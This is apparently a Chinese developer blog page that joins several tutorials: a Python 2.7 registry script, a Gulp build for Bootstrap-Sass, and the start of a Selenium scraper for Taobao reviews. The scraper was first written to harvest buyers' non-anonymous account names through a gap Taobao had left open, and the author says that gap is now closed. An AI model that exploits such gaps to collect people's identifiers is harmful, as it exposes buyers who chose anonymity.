    • ko (韩文)

    修改提示语

    在这里有两个提示语,client_fail_alert 和 server_fail_alert ,分别是前端和后台(客户端和服务器)两边的提示语,可以通过设置 config/geetest.php 设置。

    关于作者

    静觅(崔庆才) 个人主页:http://cuiqingcai.com

    Python

    不能在注册表中识别python2.7 新建一个register.py 文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    import sys

    from _winreg import *

    # tweak as necessary
    version = sys.version[:3]
    installpath = sys.prefix

    regpath = "SOFTWARE\\Python\\Pythoncore\\%s\\" % (version)
    installkey = "InstallPath"
    pythonkey = "PythonPath"
    pythonpath = "%s;%s\\Lib\\;%s\\DLLs\\" % (
    installpath, installpath, installpath
    )

    def RegisterPy():
    try:
    reg = OpenKey(HKEY_CURRENT_USER, regpath)
    except EnvironmentError as e:
    try:
    reg = CreateKey(HKEY_CURRENT_USER, regpath)
    SetValue(reg, installkey, REG_SZ, installpath)
    SetValue(reg, pythonkey, REG_SZ, pythonpath)
    CloseKey(reg)
    except:
    print "*** Unable to register!"
    return
    print "--- Python", version, "is now registered!"
    return
    if (QueryValue(reg, installkey) == installpath and
    QueryValue(reg, pythonkey) == pythonpath):
    CloseKey(reg)
    print "=== Python", version, "is already registered!"
    return
    CloseKey(reg)
    print "*** Unable to register!"
    print "*** You probably have another Python installation!"

    if __name__ == "__main__":
    RegisterPy()

    用Python 运行register.py后就能识别python2.7了 代码来自:http://tech.valgog.com/2010/01/after-installing-64-bit-windows-7-at.html

    JavaScript

    BootStrap

    BootStrap 是一个前端CSS框架,它提供了一些便捷的组件方便我们快速构建前端页面,目前已经到了版本4,版本4是用 Sass 编写的,版本3是由 Less 编写的,后来增加了 Sass 版本。这说明了什么?BootStrap 已经向 Sass靠近了,个人感觉 Sass 比 Less 更为强大,具有更丰富的语法功能。 所以,Sass 将会成为比 Less 更为主流的语言。 目前常用的 BootStrap 版本是3,在官网也提供了相关 Sass 版本的下载。 在此提供官网下载链接和 Sass 项目 GitHub 地址。 BootStrap BootStrap-Sass 在 BootStrap 的下载版本中,可以看到有三个。一个是编译好的 JS,CSS 文件,可以直接拿来用,方便快捷就可以下载这个来用。第二个是 Less 源码版本,你可以自己定义 Less 文件,在项目基础上继续用 Less 开发,编译成需要的 CSS 文件。第三个是后来新增的 Sass 版本,本节就以它为例来说明利用 Gulp 编译 BootStrap-Sass 的过程,目的一在于熟悉 Gulp 自动化编译 Sass 的流程,目的二在于了解前端自动化的工作原理。

    Gulp

    说完 BootStrap,我们再说下 Gulp,基于 Node.js。它干嘛的呢?就是一个前端自动化工具,什么用处?比如它可以编译 Less,Sass 生成到指定目录文件为 CSS,生成对应 map 文件,可以生成 JavaScript 的 map 文件,自动更新 html 中的 JS,CSS 引用路径,合并多个 JS,CSS 文件为统一整体,最小化压缩 JS,CSS 文件等等,最终目的呢?自动化替代重复劳动,提高效率。 说到 Gulp,就不得不提到它的竞争对手 Grunt,它具有和 Gulp 几乎一样的功能,然而 Grunt 有几个缺点,比如插件职责不明确,产生大量临时文件,语法繁琐等等。相比之下,Gulp插件职责明确,基于流式,不会产生临时文件,语法简单。冲着这几点,果断选择 Gulp。 利用 Gulp,我们就可以在项目中定义一个 gulpfile.babel.js 里面写入需要执行的任务,命令行执行 gulp 命令就可以完成自动化,一些重复的无聊的工作就不要你来做了。 Gulp中文网

    ES6

    说完 Gulp,然后就属 ES6 了,它是 ECMAScript 6 的简称,是 JavaScript 的一个新的版本类型,由于是 2015年发布的,所以也可以叫它 ES2015。我们之前编的 JavaScript 大多数是基于ES5或之前的版本,在 ES6 的基础上增加了许多新的语法特性,比如 Class,let,const 等等。 在 ES5 中,Gulp 的执行文件叫做 gulpfile.js,到了 ES6中,它就叫做 gulpfile.babel.js 了,多了一个 badel,那 babel 又是什么? 关于 ES6 的新特性预览可以看 ES6

    Babel

    Babel 其实是一个 JavaScript 编译器,支持 ES6,你可以用新型的 ES6 语法来编写你的 JavaScript,Babel 会为你生成对应的 ES5 的 JavaScript。乍看之下并没有什么关系,所以在这里你可以把 babel 看作 ES6 的代名词,在 Gulp 中,新型的 ES6 语法的 JavaScript 的 gulpfile 名字命名为 gulpfile.babel.js。 Babel

    NPM

    有一点 Node.js 基础的想必都知道这一个东西吧,Node Package Manager,Node.js 包管理器,利用它你可以安装 Node.js 的相关包,其中包括 Gulp。可以全局安装,加个 -g 参数,可以局部安装,需要路径下有个 package.json。 NPM怎样安装?安装了 Node.js 就好了。 Node.js 如果觉得速度慢,可以安装 CNPM,镜像源来源非国外,是淘宝的一个镜像源,速度快。 CMPM

    Bower

    在这里还需要用到一个工具 bower,类似 NPM,算是前端的一些组件管理工具,一些前端库比如 jquery,bootstrap 等等都可以用 bower 这个工具来下载,需要在根目录下建立一个 bower.json 和 .bowerrc 文件。利用 bower 我们就可以方便地管理前端的工具包了,不用我们去手动下载复制粘贴之类的。

    WebStorm

    在这再安利一个 IDE 吧,WebStorm,JetBrains公司出的一款强大又良心的编写前端的 IDE,支持各种插件,具有强大的语法提示,支持 JsHint 等代码检查,集成了终端,Git 等等强大的工具,Web 开发不二选择,推荐最新版本。 WebStorm

    准备工作

    扯完以上东西(其实还有好多没有扯完),让我们进入正题吧,正题是什么?哦没错,那就是

    基于 ES6 语法使用 Gulp 编写 gulpfile.babel.js 来编译 BootStrap-Sass 源码。

    下面是一些准备工作,没有做好的小伙伴请按照步骤一一完成。

    安装 Node.js 和 NPM

    从 Node 的官网下载 Node 并安装,安装流程不详细说明,安装完成之后 NPM 随之就会安装成功。 命令行下输入 npm 检查一下是否可以正常运行。

    安装 Gulp

    1
    npm install -g gulp

    加入 -g 参数是全局安装,安装完成之后你可以在任意位置使用命令。

    安装 Bower

    1
    npm install -g bower

    依然是全局安装 bower。

    下载 BootStrap-Sass

    可直接进入 BootStrap 页面点击第三个下载 Sass 源码。 也可以用 Git 将 BootStrap-Sass 的项目 clone 下来。

    安装 WebStorm

    推荐使用 WebStorm,可以开启 JsHint 等检测工具,具有强大的代码提示功能,不过不使用也没关系。 在你的 IDE 打开下载的项目,

    新建 gulpfile.babel.js

    gulpfile.babel.js 是基于 ES6 的 Gulp 处理文件,新建它,稍后所有的工作都在这里完成。

    新建 .babelrc

    新建 .babelrc 文件,内容

    1
    2
    3
    4
    5
    {
    "presets": [
    "es2015"
    ]
    }

    这是指定 gulp 使用最新标准的 JavaScript 进行编译。

    新建 .bowerrc

    新建 .bowerrc 文件,这是 bower 的配置文件,可以指定路径等相关配置,内容为

    1
    2
    3
    {
    "directory": "bower_components"
    }

    这是指定 bower 工具下载前端组件时会默认下载到这个文件夹中。

    修改 bower.json

    可以精简 bower.json 文件,比如修改名称,删去 main,ignore 配置等。 比如精简成

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    {
    "name": "bootstrap-sass-demo",
    "authors": [
    "Germey"
    ],
    "description": "bootstrap-sass is a Sass-powered version of Bootstrap, ready to drop right into your Sass powered applications.",
    "moduleType": "globals",
    "keywords": [
    "twbs",
    "bootstrap",
    "sass"
    ],
    "license": "MIT",
    "dependencies": {
    "jquery": ">= 1.9.0"
    }
    }

    修改 package.json 在进行 Gulp 配置文件编写之前,首先需要引入一些 Node.js 开发包,比如 babel,gulp,wiredep等等。 修改 devDependencies 为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    "devDependencies": {
    "babel-core": "^6.4.0",
    "babel-preset-es2015": "^6.3.13",
    "babel-register": "^6.9.0",
    "browser-sync": "^2.2.1",
    "del": "^1.1.1",
    "gulp": "^3.9.1",
    "gulp-autoprefixer": "^3.0.1",
    "gulp-babel": "^6.1.1",
    "gulp-cache": "^0.2.8",
    "gulp-cssnano": "^2.0.0",
    "gulp-eslint": "^0.13.2",
    "gulp-htmlmin": "^1.3.0",
    "gulp-if": "^1.2.5",
    "gulp-imagemin": "^2.2.1",
    "gulp-load-plugins": "^0.10.0",
    "gulp-plumber": "^1.0.1",
    "gulp-sass": "^2.0.0",
    "gulp-size": "^1.2.1",
    "gulp-sourcemaps": "^1.5.0",
    "gulp-uglify": "^1.1.0",
    "gulp-useref": "^3.0.0",
    "main-bower-files": "^2.5.0",
    "wiredep": "^2.2.2"
    }

    执行

    1
    npm install

    安装所需要的库。 如此一来,所有的准备工作就差不多了。

    实战

    引入类库

    首先引入一些必须的类库

    1
    2
    3
    4
    5
    import gulp from 'gulp';
    import gulpLoadPlugins from 'gulp-load-plugins';
    import browserSync from 'browser-sync'
    import del from 'del';
    import {stream as wiredep} from 'wiredep';

    gulp 自不必多说,是 gulp 必须的核心类库。 gulp-load-plugins 是加载 gulp 插件的类库,我们知道 gulp 插件非常丰富,如果要一个个引入的话,需要写很多很多条 import 语句,引入了这个插件之后,调用时只需要加 点(.) + 插件名称 那就可以使用了。 browser-sync 是浏览器同步工具,如果有代码更新,浏览器会自动刷新更新资源。 del 是删除资源的工具包。 wiredep 是从 bower 同步到 html 中资源引用的插件,bower 中定义了依赖包,有了它,这些包的引用比如 js,css 就可以直接自动生成到 html 文件中。 接着初始化一些变量。

    1
    2
    const $ = gulpLoadPlugins();
    const reload = browserSync.reload;

    将加载插件的插件初始化为 $ 符号,然后初始化 reload 等变量。

    Sass 编译

    下载好 Sass 源码之后,打开 assets/stylesheets 目录,可以看到 BootStrap 的 Sass 源代码。不过发现文件名都是 _ 开头的,这种类型的文件是不能被编译生成的,所以新建一个 bootstrap.sass 文件,内容为

    1
    @import "_bootstrap";

    最后生成的目录结构如下

    1
    2
    3
    4
    5
    |_____bootstrap-compass.scss
    |_____bootstrap-mincer.scss
    |_____bootstrap-sprockets.scss
    |_____bootstrap.scss
    |____bootstrap

    接下来我们只需要编译 bootstrap.scss 即可。 定义一个路径配置

    1
    2
    3
    4
    const styles = {
    'in': 'assets/stylesheets/**/*.scss',
    'tmp': '.tmp/css',
    };

    包含 in 和 tmp 目录,in 代表 Sass 源文件地址,tmp 代表生成的编译后的 CSS 目录。 接下来最重要的,指定一个 Gulp Task

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    gulp.task('styles', () => {
    return gulp.src(styles.in)
    .pipe($.plumber())
    .pipe($.sourcemaps.init())
    .pipe($.sass.sync({
    outputStyle: 'expanded',
    precision: 10,
    includePaths: ['.']
    }).on('error', $.sass.logError))
    .pipe($.autoprefixer({browsers: ['> 1%', 'last 2 versions', 'Firefox ESR']}))
    .pipe($.sourcemaps.write())
    .pipe(gulp.dest(styles.tmp))
    .pipe(reload({stream: true}));
    });

    task 是 gulp 的一个核心方法,定义了 styles 这个 task 之后,就可以执行

    1
    gulp styles

    就可以完成以上定义的任务。 首先利用 gulp.src 引入了需要编译的 Sass 文件,然后利用一系列 pipe 流式管道来指定一系列处理任务。 plumber 是一个错误处理插件,当出现错误时,不会立即卡主,而是进入 plumber,防止程序运行终止。 sourcemaps 是用来生成映射文件的一个插件,map 文件记录了从 Sass 编译成 CSS 的过程中,每一行的 Sass 代码对应哪一行的 CSS 代码。 sass 是核心的编译 Sass 的插件,指定了输出格式 expanded,precision 指定了当输出十进制数字时,使用多少位的精度,然后指定了路径和错误日志。 autoprefixer 是一个以友好方式处理浏览器前缀的插件,比如一些 CSS 的定义会出现 -webkit- 等等,此插件是用来处理浏览器前缀的。

    Autoprefixer默认将支持主流浏览器最近2个版本,这点类似Google。不过你可以在自己的项目中通过名称或者模式进行选择: 主流浏览器最近2个版本用“last 2 versions”; 全球统计有超过1%的使用率使用“>1%”; 仅新版本用“ff>20”或”ff>=20”. 然后Autoprefixer计算哪些前缀是需要的,哪些是已经过期的。

    dest 是输出编译后的文件,指定输出路径。 reload 是同步浏览器资源的方法。 定义好如上内容之后,命令行输入

    1
    gulp styles

    就会发现出现了 .tmp 目录,里面有 css/bootstrap.css

    JavaScript 处理

    同理,定义一个 task,用来处理 JavaScript

    1
    2
    3
    4
    5
    6
    7
    8
    9
    gulp.task('scripts', () => {
    return gulp.src(scripts.in)
    .pipe($.plumber())
    .pipe($.sourcemaps.init())
    .pipe($.babel())
    .pipe($.sourcemaps.write('.'))
    .pipe(gulp.dest(scripts.tmp))
    .pipe(reload({stream: true}));
    });

    相比之下,此处多了一个 babel 插件。 babel 是基于 ES6 标准的一个 JavaScript 插件,它可以对 ES6 版本的代码进行转换,转换成 ES5 标准,避免出现出现 ES6 不兼容问题。 在此处还需要 scripts 的路径定义

    1
    2
    3
    4
    5
    const scripts = {
    'in': 'assets/javascripts/**/*.js',
    'tmp': '.tmp/js',
    'out': 'dist/js'
    };

    定义完成之后,执行

    1
    gulp scripts

    就可以完成 JavaScript 的转换。 另外还有一个专门负责代码风格转换的 task,使用了 eslint 这个插件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    const lint = {
    'in': 'assets/javascripts/**/*.js'
    };
    gulp.task('lint', () => {
    return gulp.src(lint.in)
    .pipe(reload({stream: true, once: true}))
    .pipe($.eslint.format())
    .pipe($.if(!browserSync.active, $.eslint.failAfterError()));
    });

    执行

    1
    gulp lint

    之后,就可以进行代码风格的标准化。

    HTML处理

    我们可以发现,在前面的输出路径都是 .tmp 临时目录,后面还会有一个目录是 dist 目录,试想一下,如果我们编译了 BootStrap 而在 HTML 中没有引用,那编译来还有必要吗? 所以说,.tmp 作为临时目录,它可以存放被编译后的文件,但是不一定会被引用。被真正引用的文件才是真正有用的文件,我们将它放到 dist 目录。 所以接下来的 HTML 处理就是检查一下有哪些 CSS 和 JS 被引用了,可以将它们合并,然后将新的文件放到 dist 并更新它的引用路径。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    const html = {
    'in': 'assets/*.html',
    'out': 'dist'
    };
    gulp.task('html', ['styles', 'scripts'], () => {
    return gulp.src(html.in)
    .pipe($.useref({searchPath: ['.tmp', 'assets', '.']}))
    .pipe($.if('*.js', $.uglify()))
    .pipe($.if('*.css', $.cssnano()))
    .pipe($.if('*.html', $.htmlmin({collapseWhitespace: true})))
    .pipe(gulp.dest(html.out));
    });

    在这里定义了一个 task 叫做 html,第二个参数是 styles 和 scripts 组成的数组,意思是在执行这个 task 之前,首先要执行这两个任务。 在处理时用到了 useref 这个插件,它可以检测 HTML 中引用的 CSS 和 JS,可以执行合并和压缩,然后更新新的路径。 这个插件的作用如上所述。 比如 HTML 当前内容是这样的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>Welcome</title>
    <!-- bower:css -->
    <!-- endbower -->
    <!-- build:css css/combined.css -->
    <link href="../.tmp/css/bootstrap.css" rel="stylesheet">
    <!-- endbuild -->
    </head>
    <body>
    <h4>Hello This is a Gulp Sass Demo Configured by Germey.</h4>
    </body>
    <!-- bower:js -->
    <!-- endbower -->
    <!-- build:js js/combined.js -->
    <script src="javascripts/bootstrap.js"></script>
    <script src="javascripts/bootstrap-sprockets.js"></script>
    <!-- endbuild -->
    </html>

    可以看到

    1
    2
    3
    <!-- build:css css/combined.css -->
    <link href="../.tmp/css/bootstrap.css" rel="stylesheet">
    <!-- endbuild -->

    这里引用了 .tmp 目录下的 bootstrap.css,然后在外面用注释的形式定义了构建的路径和文件名。 那么执行这个任务之后,它便会将当前引用的 .tmp 目录下的 bootstrap.css 处理并输出为 combined.css,然后新生成的 HTML 文件的引用路径也相应改为 combined.css JS 也是同理

    1
    2
    3
    4
    <!-- build:js js/combined.js -->
    <script src="javascripts/bootstrap.js"></script>
    <script src="javascripts/bootstrap-sprockets.js"></script>
    <!-- endbuild -->

    在此处是将两个文件处理合并为 combined.js 执行

    1
    gulp html

    后,会新生成一个 HTML 文件到 dist 目录,内容为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>Welcome</title><!-- bower:css --><!-- endbower -->
    <link rel="stylesheet" href="css/combined.css">
    </head>
    <body><h4>Hello This is a Gulp Sass Demo Configured by Germey.</h4></body><!-- bower:js --><!-- endbower -->
    <script src="js/combined.js"></script>
    </html>

    dist 的目录结构为

    1
    2
    3
    4
    5
    |____css
    | |____combined.css
    |____index.html
    |____js
    | |____combined.js

    以上为利用 useref 插件进行 HTML 处理的过程。

    图片压缩处理

    接下来是对图片字体及其他格式文件的处理。 图片的主要处理是进行压缩

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    const images = {
    'in': 'assets/images/**/*',
    'out': 'dist/images'
    };
    gulp.task('images', () => {
    return gulp.src(images.in)
    .pipe($.imagemin({
    progressive: true,
    interlaced: true,
    svgoPlugins: [{cleanupIDs: false}]
    }))
    .pipe(gulp.dest(images.out));
    });

    定义好了 images 的输入和输出路径之后,定义 images 这个 task,在这里使用了 imagemin 这个插件 imagemin 插件是用来压缩图片的插件,处理后图片的占用空间会变小。 执行

    1
    gulp images

    即可完成对图片的压缩

    字体处理

    字体的处理,筛选出某些特定格式的字体,输出到指定目录

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    const fonts = {
    'in': ['assets/fonts/bootstrap/*'],
    'tmp': '.tmp/fonts',
    'out': 'dist/fonts'
    };
    gulp.task('fonts', () => {
    return gulp.src(require('main-bower-files')('**/*.{eot,svg,ttf,woff,woff2}', function(err) {
    })
    .concat(fonts.in))
    .pipe(gulp.dest(fonts.tmp))
    .pipe(gulp.dest(fonts.out));
    });

    执行

    1
    gulp fonts

    即可完成字体的处理

    额外文件处理

    在项目中还存在非 HTML 的文件,比如 视频,音频,PHP等。这些做一下统一判断然后归档即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    const extras = {
    'in': [
    'assets/*.*',
    '!assets/*.html'
    ],
    'out': 'dist'
    };
    gulp.task('extras', () => {
    return gulp.src(extras.in, {
    dot: true
    }).pipe(gulp.dest(extras.out));
    });

    其中 in 指定了在 asset 目录中除 html 后缀的文件,此处进行读入筛选,然后输出到指定路径即可。 执行

    1
    gulp extras

    即可完成额外文件的处理

    文件依赖处理

    设想一个情景,一个项目需要很多很多依赖库,我们在 bower.json 中定义好了所有的依赖,使用 bower 将他们下载了下来,如果我们需要在 HTML 中引用他们,如果我们还是手动地添加一个个引用那是不是太麻烦了? 没错,这个操作同样可以自动化操作,借助 wiredep 插件即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    const wire = {
    'in': 'assets/*.html',
    'out': 'dist'
    };
    gulp.task('wiredep', () => {
    gulp.src(wire.in)
    .pipe(wiredep({
    ignorePath: /^(\.\.\/)*\.\./
    }))
    .pipe($.useref({searchPath: ['.tmp', 'assets', '.']}))
    .pipe($.if('*.js', $.uglify()))
    .pipe($.if('*.css', $.cssnano()))
    .pipe(gulp.dest(wire.out));
    });

    在这里使用了 wiredep 插件。 在 HTML中定义如下内容

    1
    2
    <!-- bower:js -->
    <!-- endbower -->

    执行

    1
    gulp wiredep

    之后,便会自动更新 bower.json 中所有依赖库的引用,在这里以 JS 为例子。 当前在 bower.json 中定义了

    1
    2
    3
    "dependencies": {
    "jquery": ">= 1.9.0"
    }

    执行完毕之后,HTML中便有了

    1
    2
    3
    <!-- bower:js -->
    <script src="/bower_components/jquery/dist/jquery.js"></script>
    <!-- endbower -->

    路径会随之更新。

    服务器

    最后是一个 serve 的 task 在本地搭建一个服务器来测试,同时监听文件的变动随时更新资源文件。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    const serve = {
    'baseDir': ['.tmp', 'assets'],
    'baseDirDist': ['dist'],
    'routes': {
    '/bower_components': 'bower_components'
    },
    'port': 9000
    };
    gulp.task('serve', ['styles', 'scripts', 'fonts', 'wiredep'], () => {
    browserSync({
    notify: false,
    port: serve.port,
    server: {
    baseDir: serve.baseDir,
    routes: serve.routes
    }
    });
    gulp.watch([
    html.out, scripts.tmp, scripts.out, images.out, fonts.tmp, fonts.out
    ]).on('change', reload);
    gulp.watch(styles.in, ['styles']);
    gulp.watch(scripts.in, ['scripts']);
    gulp.watch(fonts.in, ['fonts']);
    gulp.watch('bower.json', ['wiredep', 'fonts']);
    });
    gulp.task('serve:dist', () => {
    browserSync({
    notify: false,
    port: serve.port,
    server: {
    baseDir: serve.baseDirDist
    }
    });
    });

    上述 serve 首先要执行 styles, scripts, fonts, wiredep 的操作,然后在 9000 端口上运行。 同时利用 watch 方法监听文件的变动,随时更新。

    删除和一键构建

    最后还有清理构建文件和一键构建的功能。 清理 task 叫做 clean。

    1
    gulp.task('clean', del.bind(null, ['.tmp', 'dist']));

    即将 .tmp 和 dist 目录进行清理。 一键构建就是执行其他所有操作,将所有操作汇总。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    const build = {
    'in': 'dist/**/*'
    };
    gulp.task('build', ['lint', 'html', 'images', 'fonts', 'extras'], () => {
    return gulp.src(build.in).pipe($.size({title: 'build', gzip: true}));
    });
    gulp.task('default', ['clean'], () => {
    gulp.start('build');
    });

    最后执行了一个总的压缩汇总,

    代码

    以上便是利用 Gulp 编译 Bootstrap-Sass 的全部过程。 整个项目的代码如下 GulpBootstrapSass 如果有问题,欢迎留言交流,希望对大家有帮助!

    Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    更新

    其实本文的初衷是为了获取淘宝的非匿名旺旺,在淘宝详情页的最下方有相关评论,含有非匿名旺旺号,快一年了淘宝都没有修复这个。 可就在今天,淘宝把所有的账号设置成了匿名显示,SO,获取非匿名旺旺号已经不可能了。那本节就带大家抓取匿名旺旺号熟悉一下 Selenium 吧。

    2016/7/1

    前言

    嗯,淘宝,它一直是个难搞的家伙。 而且买家在买宝贝的时候大多数都是匿名评论的,大家都知道非匿名评论是非常有用的,比如对于大数据分析,分析某个宝贝的购买用户星级状况等等。 现在已经不能获取非匿名了,此句已没有意义了。 对于抓淘宝,相信尝试过的童鞋都能体会到抓取它到艰辛,最简单的方法莫过于模拟浏览器了,本节我们就讲解一下利用 Selenium 抓取淘宝评论的方法。 项目提供了如下功能:

    • 输入淘宝关键字采集淘宝链接并写入到文件
    • 从文件读取链接,执行评论采集
    • 将评论和旺旺号保存到 Excel 中
    • 记录当前采集链接索引,保存进度

    准备工作

    在开始本节之前 你需要了解一些基础知识,我们需要用到 Selenium 这个东西,详情请看 Selenium 用法 我们首先讲解一下你需要做怎样的配置。 首先你需要安装 Python,版本是 2.7 然后需要安装的 Python 类库。

    1
    pip install pyquery selenium twisted requests xlrd xlwt xlutils

    安装浏览器 Chrome,安装浏览器 Chrome,安装浏览器 Chrome。 然后下载 ChromeDriver,ChromeDriver 是驱动浏览器的工具,需要把它配置到环境变量里。 有的童鞋说,为什么不用 PhantomJS,因为为了防止淘宝禁掉我们,需要登录淘宝账号,登录过程可能会出现奇奇怪怪得验证码,滚动条,手机验证,如果用 PhantomJS 的话不方便操作,所以在这里我们就使用 Chrome 了。 ChromeDriver 上面是 ChromeDriver 的下载地址,谷歌都上得了,这个不在话下吧,这是最官方的版本,其他链接请自行搜索。 找到对应平台的 ChromeDriver,解压后将可执行文件配置到环境变量里,配置到环境变量里,配置到环境变量里!重要的话说三遍。

    流程简述

    首先我们拿一个例子来演示一下全过程。 随意打开天猫一个链接 示例链接 我们首先观察一下评论,可以发现所有的评论都是匿名的。即使这个用户不是匿名评论的,那也会显示匿名,淘宝这保密做的挺好。 QQ20160630-1@2x 心机的淘宝啊,那我们如果想获取一些旺旺号该咋办? 接下来我们返回宝贝详情页面,然后一直下拉下拉,拉到最最后,可以看到有个“看了又看”板块。 QQ20160630-0@2x 有没有!!发现了新大陆,这是什么?这是此宝贝相关宝贝以及它的一些评论。 看到了有非匿名用户了,哈哈哈,淘宝加密了评论,推荐部分却没有加密。 嗯,就从这里,我们把它们的旺旺号都抓下来,顺便把评论和购买的宝贝抓下来。 现在已经全部改成了匿名,上述话已经无意义了。 那么抓取完之后,保存到哪里呢?为了便于管理和统计,在这里保存到 Excel 中,那么就需要用到 xlrd, xlwt, xlutils 等库。 嗯,动机就是这样。

    实战爬取

    抓取过程

    首先我们观察这个链接,在最初的时候,其实网页并没有加载最下方的“看了又看”内容的,慢慢往下滑动网页,滑到最下方之后,才发现看了又看页面才慢慢加载出来。 很明显,这个地方使用了 Ajax,由于我们用的是 Selenium,所以这里我们不能直接来模拟 Ajax 的 Request,需要我们来模拟真实的用户操作。 所以我们要模拟的就是,在网页部分加载出来之后,模拟浏览器滑动到下方,使“看了又看”内容显示出来,然后获取网页源代码,解析之即可。 那么在这里就出现了两个至关重要的点,一个是判断网页框架大体加载出来,另一个是模拟滑动直到最下方的内容加载出来。 首先,我们解决第一个问题,怎样判断网页框架大体加载出来。我们可以用网页中的某个元素的出现与否来判断。 比如 QQ20160630-2@2x 这一部分是否加载出来。 审查一下代码,ID 叫做 J_TabBarBox,好,那就用它来作为网页初步加载成功的标志。 在 Selenium 中,我们用显式等待的方法来判断该元素是否已经加载成功。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    try:
    driver.get(url)
    WebDriverWait(driver, timeout).until(
    EC.presence_of_element_located((By.ID, "J_TabBarBox"))
    )
    except TimeoutException:
    return False
    if is_recommends_appear(driver, max_scroll_time):
    print u'已经成功加载出下方橱窗推荐宝贝信息'
    return driver.page_source

    接下来我们需要模拟下拉浏览器,不妨直接下拉到底部,再从底部向上拉,可能需要下拉多次,所以在这里定义了一个下拉次数,那么判断“看了又看”正文内容是否出现依然可以用显式等待的方法。 浏览器审查元素发现它的选择器是 #J_TjWaterfall li QQ20160630-3@2x 那么可以用如下方法来判断是否加载成功

    1
    2
    3
    4
    5
    try:
    driver.find_element_by_css_selector('#J_TjWaterfall li')
    except NoSuchElementException:
    return False
    return True

    下拉过程可以用执行 JavaScript 的方法实现。

    1
    2
    js = "window.scrollTo(0,document.body.scrollHeight-" + str(count * count* 200) + ")"
    driver.execute_script(js)

    其中 count 是下拉的次数,经过测试之后,每次拉动距离和 count 是平方关系比较科学,具体不再描述,当然你可以改成自己想要的数值。 嗯,加载出来之后,就可以用

    1
    driver.page_source

    来获取网页源代码了 用 pyquery 解析即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    doc = pq(html)
    items = doc('#J_TjWaterfall > li')
    print u'分析得到下方宝贝中的用户评论:'
    for item in items.items():
    url = item.find('a').attr('href')
    if not url.startswith('http'):
    url = 'https:' + url
    comments_info = []
    comments = item.find('p').items()
    for comment in comments:
    comment_user = comment.find('b').remove().text()
    comment_content = comment.text()
    anonymous_str = config.ANONYMOUS_STR
    if not anonymous_str in comment_user: #此句本来用来判断是否匿名,现淘宝已修复该漏洞,只能抓取全部匿名的了
    comments_info.append((comment_content, comment_user))
    info.append({'url': url, 'comments_info': comments_info})
    return info

    然后保存到 Excel 中。 运行结果截图 QQ20160630-7@2x 可以发现,另外提供了先登陆后爬取的功能,然后保存了爬取进度。

    采集链接

    刚才我们测试的链接是哪里来的?我们不能一个个去找吧?所以,在这里又提供了一个采集链接的过程,将采集的链接保存到文本,然后抓取的时候从文本读取一个个链接即可。 所以在这里我们模拟搜索的过程,关键字让用户输入,将搜索的链接采集下来。 在此 Selenium 模拟了输入文字,点击按钮和翻页的功能。 QQ20160630-4@2x 核心代码如下 下面的方法模拟了加载出搜索框之后输入文字点击回车的过程,将网页的结果返回。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    def get_results(keyword):
    driver = config.DRIVER
    link = config.SEARCH_LINK
    driver.get(link)
    try:
    WebDriverWait(driver, config.TIMEOUT).until(
    EC.presence_of_element_located((By.ID, "mq"))
    )
    except TimeoutException:
    print u'加载页面失败'
    try:
    element = driver.find_element_by_css_selector('#mq')
    print u'成功找到了搜索框'
    keyword = keyword.decode('utf-8', 'ignore')
    print keyword
    print u'输入关键字', keyword
    for word in keyword:
    print word
    element.send_keys(word)
    element.send_keys(Keys.ENTER)
    except NoSuchElementException:
    print u'没有找到搜索框'
    print u'正在查询该关键字'
    try:
    WebDriverWait(driver, config.TIMEOUT).until(
    EC.presence_of_element_located((By.CSS_SELECTOR, "#J_ItemList div.productImg-wrap"))
    )
    except TimeoutException:
    print u'查询失败'
    html = driver.page_source
    return html

    下面的方法模拟了翻页的过程,到指定的翻页数目为止

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    def get_more_link():
    print u'正在采集下一页的宝贝链接'
    driver = config.DRIVER
    try:
    js = "window.scrollTo(0,document.body.scrollHeight)"
